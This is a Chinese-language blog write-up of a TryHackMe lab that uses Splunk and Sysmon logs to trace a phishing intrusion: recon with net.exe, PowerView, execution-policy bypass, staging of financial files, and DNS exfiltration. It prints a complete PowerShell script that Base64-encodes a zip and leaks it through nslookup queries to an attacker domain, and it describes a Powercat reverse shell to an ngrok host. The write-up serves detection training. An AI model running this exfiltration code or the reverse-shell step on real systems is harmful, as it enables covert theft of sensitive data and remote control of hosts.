TryHackMe钓鱼攻击展开:使用Splunk检测Base64与DNS数据外泄

admin 2026-01-14 23:26:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了利用Splunk检测钓鱼攻击后的数据外泄。攻击者通过PowerShell窃取财务文件,转为Base64后利用DNS查询隐蔽传输。文章分析了攻击链及日志特征,证明DNS隧道能绕过传统防护。建议重点监控异常DNS请求与PowerShell行为,以识别此类高隐蔽性威胁。 综合评分: 90 文章分类: 应急响应,威胁情报,安全运营,内网渗透,红队


cover_image

TryHackMe 钓鱼攻击展开:使用 Splunk 检测 Base64 与 DNS 数据外泄

haidragon

安全狗的自我修养

2026年1月14日 12:23 湖南

官网:http://securitytech.cc/

当我打开 Splunk 的那一刻,就已经很明显:这台工作站出了大问题。 钓鱼攻击已经成功 —— 攻击者已经进入系统内部

第一个确凿的证据来自 Sysmon 的进程创建日志。 我注意到有一个 net.exe 进程被执行了,但真正引起警觉的是它的父进程

powershell.exe

在正常的 Windows 系统中,net user 通常由管理员在 命令提示符(cmd) 中执行。 在钓鱼调查中看到它由 PowerShell 启动,是一个巨大的红旗 🚩

这是攻击者在后渗透阶段常用的技术,用于:

  • 枚举本地用户
  • 确认当前登录的账户
  • 判断可用权限级别

此时,事件已经不再只是“收到一封可疑邮件”那么简单。 攻击者已经在终端上主动查询系统并进行环境侦察。


按 Enter 或点击可查看大图

几秒后,另一个 Sysmon 日志显示 net.exe 再次被执行,这次带有参数:

localgroup

并且同样是由 powershell.exe 启动

这是在列出用户之后的典型下一步操作。 攻击者正在检查本地组,很可能是为了确认:

  • 谁属于 Administrators(管理员)组 👀

这能告诉攻击者:

  • 是否已经拥有高权限
  • 还是需要进一步进行权限提升

此时已经可以确定: 系统正被攻击者实时控制,而不仅仅是“被钓鱼影响”。


按 Enter 或点击可查看大图

在完成初步侦察命令后,一个新文件出现了:

PowerView.ps1

该文件由 powershell.exe 创建,位置在用户的 Downloads(下载)目录

PowerView 是一个著名的后渗透工具,用于:

  • 枚举用户
  • 枚举组
  • 枚举域信息

到这里已经非常清楚: 攻击者已经从“初始发现”阶段,转向在受害系统上运行自己的工具


按 Enter 或点击可查看大图

脚本落地后,PowerShell 立刻执行了一个带有参数的命令:

ExecutionPolicy Bypass

这是攻击者的经典手法,用于:

  • 绕过 Windows 执行策略
  • 运行未签名或恶意脚本

这确认了一点: 攻击者已经开始直接执行有效载荷,而不只是准备文件。


按 Enter 或点击可查看大图

紧接着,一个临时脚本文件出现在用户的 Temp 目录

__PSScriptPolicyTest_*.ps1

这个文件是在 PowerShell 测试或绕过脚本执行限制 时自动生成的。

它的存在说明:

  • 安全控制被刻意规避
  • 目的就是确保恶意脚本可以成功运行

按 Enter 或点击可查看大图

随后,一个名为 exfiltration 的新文件夹被创建在 Downloads 目录中。

这一步非常关键。 此时攻击者已经不只是执行工具,而是在:

准备要被“偷走”的数据

这个目录极有可能包含了即将被发送出网络的敏感信息。


按 Enter 或点击可查看大图

随后,PowerShell 使用 net.exe 挂载了一个网络共享:

\\FILESRV-01\SSF-FinancialRecords

这表明攻击者正在访问一个包含财务数据的文件服务器

结合前面创建的 exfiltration 目录,可以非常明确地判断:

敏感财务记录正在被收集,用于数据窃取。


按 Enter 或点击可查看大图

攻击者随后使用 robocopy.exe,将文件:

ClientPortfolioSummary.xlsx

复制到了 exfiltration 文件夹中。

该文件来自财务共享目录,说明:

  • 客户敏感数据已被本地暂存
  • 下一步就是对外传输

按 Enter 或点击可查看大图

接下来,PowerShell 启动 robocopy

将网络共享中的所有内容复制到本地 exfiltration 目录

这确认了攻击者的目的:

集中收集所有相关文件,为外泄做准备


按 Enter 或点击可查看大图

文件复制完成后,攻击者执行:

net use Z: /delete

这是一个典型的清理步骤,用于:

  • 删除映射的网络驱动器
  • 减少对文件服务器访问的明显痕迹

按 Enter 或点击可查看大图

随后,所有收集到的文件被压缩成一个 ZIP 文件:

exfilt8me.zip

将所有数据打包成一个 ZIP:

  • 便于编码
  • 便于后续外泄

按 Enter 或点击可查看大图

ZIP 文件创建后,PowerShell 立刻执行了 nslookup,并使用了一个极其异常的域名

AdAAAAHQAAAEludmVzdG9yUHJlc2Vu.haz4rdw4re.io

这个看起来随机的超长子域名 不是正常的 DNS 流量。 它实际上是:

Base64 编码后的数据

攻击者将 exfilt8me.zip 的内容:

  1. Base64 编码
  2. 拆分
  3. 嵌入 DNS 查询中

从而:

通过 DNS 协议悄无声息地把数据传出网络

DNS 通常不会被严格检查或阻断,这使它成为非常理想的数据外泄通道。

在真实环境中,这种行为不会只出现一次。 通常会看到:

  • 数十
  • 甚至数百条

几乎一模一样的 DNS 请求,每一条都携带一小段 Base64 数据。


按 Enter 或点击可查看大图

下面是攻击者使用的 完整 PowerShell 外泄代码

$base64 = [System.Convert]::ToBase64String(
  [System.IO.File]::ReadAllBytes(
"C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip"
  )
);
$base64-split'(.{1,30})' |
Where-Object { $_-ne'' } |
ForEach-Object {
Invoke-Expression"nslookup $_.haz4rdw4re.io"
}

1️⃣ 读取 ZIP 文件

[System.IO.File]::ReadAllBytes("…exfilt8me.zip")

将包含被盗财务数据的 ZIP 文件完整读入内存。


2️⃣ 转换为 Base64

[System.Convert]::ToBase64String(…)

DNS 只能传输文本,不能传输二进制文件。 Base64 将 ZIP 转换为可通过 DNS 发送的文本字符串。


3️⃣ 存储到 $base64

$base64 = …

此时,所有被盗数据都存在于一个超长 Base64 字符串中。


4️⃣ 拆分为小块

$base64-split'(.{1,30})'

DNS 对域名长度有限制,因此将数据拆分为 30 字符一段


5️⃣ 移除空值

Where-Object { $_-ne'' }

清理拆分过程中产生的空字符串。


6️⃣ 通过 DNS 逐块发送

Invoke-Expression"nslookup $_.haz4rdw4re.io"

每一段都会变成如下形式的查询:

nslookup U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io
  • U3VtbWFyeS54bHN4c87JTM0rCcgvKk → Base64 数据块
  • haz4rdw4re.io → 攻击者控制的域名

攻击者的 DNS 服务器接收这些查询:

  • 提取子域名
  • 拼接
  • 解码
  • 还原 ZIP 文件

按 Enter 或点击可查看大图

该 PowerShell 管道日志完整展示了外泄过程:

  • 每一段 Base64 数据
  • 经 Where-Object 处理
  • 再通过 nslookup 发送到攻击者域名

日志中重复出现的 Base64 字符串,正是被盗 ZIP 文件的真实内容片段


按 Enter 或点击可查看大图

最后,PowerShell 日志显示攻击者建立了一个远程后门

  • 从 GitHub 下载 Powercat
  • 在内存中执行
  • 连接到 2.tcp.ngrok.io:19282

这为攻击者提供了一个 交互式 PowerShell 会话,即使数据已经外泄,仍可长期控制该主机。


一个非常关键的 Base64 字符串:

UEsDBBQAAAAIANigLlfVU3cDIgAAAI

Base64 解码后为:

50 4B 03 04

这是 ZIP 文件的魔数(PK..)

📌 铁证如山: 被外泄的数据 确实是一个 ZIP 压缩包


还能从 Base64 中恢复文件名:

Q2xpZW50UG9ydGZvbGlvU3VtbWFyeS54bHN4
→ ClientPortfolioSummary.xlsx

SW52ZXN0b3JQcmVzZW50YXRpb24yMDIzLnBwdHg
→ InvestorPresentation2023.pptx

这证明:

  • Base64 数据还原后
  • 得到一个 ZIP
  • 包含 Excel 财务报表 + PowerPoint 投资演示文稿

总结

这个事件展示了:

  • 仅凭 PowerShell + DNS
  • 就可以完成高隐蔽性的数据窃取

通过:

  1. 压缩
  2. Base64 编码
  3. DNS 分片传输

攻击者成功绕过了传统安全控制。

即使日志中只留下了零散片段, 这些片段也足以证明:

一个包含敏感商业文件的 ZIP,已经被成功偷走。

当 DNS 被这样滥用时, 等你发现,数据早就不在了。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon《TryHackMe 钓鱼攻击展开:使用 Splunk 检测 Base64 与 DNS 数据外泄》

评论:0   参与:  0